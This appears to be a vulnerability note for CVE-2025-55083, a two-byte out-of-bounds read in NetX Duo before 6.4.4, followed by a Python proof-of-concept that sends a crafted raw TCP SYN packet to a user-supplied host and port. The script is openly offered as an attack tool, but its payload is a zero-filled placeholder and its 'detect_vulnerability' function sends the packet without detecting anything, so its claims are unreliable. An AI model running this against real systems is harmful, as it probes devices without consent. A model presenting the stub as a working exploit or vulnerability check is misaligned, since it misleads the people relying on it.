In NetX Duo version before 6.4.4, the component of Eclipse Foundation ThreadX, there was an incorrect bound check resulting it out by two out of bound read.
The following code is for security research and authorized testing only.
python
# CVE-2025-55083 PoC - NetX Duo Out-of-Bounds Read
# This PoC demonstrates the concept of triggering an out-of-bounds read
# in NetX Duo versions before 6.4.4 by sending a crafted network packet.
import socket
import struct
def craft_malicious_packet(target_ip, target_port):
"""
Craft a malicious network packet designed to trigger the
out-of-bounds read vulnerability in NetX Duo < 6.4.4.
The vulnerability is caused by incorrect bound check resulting
in a read that is out by two bytes.
"""
# Create a raw socket (requires root/admin privileges)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except PermissionError:
print("[!] Raw socket requires root/admin privileges")
return
# Construct a packet with manipulated length field to trigger OOB read
# The key is to set packet parameters that bypass the incorrect bound check
# TCP Header (simplified)
src_port = 12345
dst_port = target_port
seq_num = 0
ack_num = 0
data_offset = 5 # 20 bytes (no options)
flags = 0x02 # SYN flag
window = 65535
checksum = 0
urgent = 0
# Build TCP header
tcp_header = struct.pack('!HHIIBBHHH',
src_port, dst_port,
seq_num, ack_num,
(data_offset << 4), flags,
window, checksum, urgent)
# Payload designed to trigger the 2-byte out-of-bounds read
# The specific payload depends on which protocol parser is targeted
malicious_payload = b'\x00' * 64 # Adjust size to trigger OOB
# Send the packet
packet = tcp_header + malicious_payload
sock.sendto(packet, (target_ip, target_port))
print(f"[*] Malicious packet sent to {target_ip}:{target_port}")
sock.close()
def detect_vulnerability(target_ip, target_port):
"""
Detect if the target is running a vulnerable version of NetX Duo.
"""
print(f"[*] Testing {target_ip}:{target_port} for CVE-2025-55083")
print("[*] Vulnerable versions: NetX Duo < 6.4.4")
craft_malicious_packet(target_ip, target_port)
if __name__ == "__main__":
import sys
if len(sys.argv) >= 3:
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
detect_vulnerability(target_ip, target_port)
else:
print("Usage: python poc.py <target_ip> <target_port>")
print("Note: Requires root/admin privileges for raw socket access")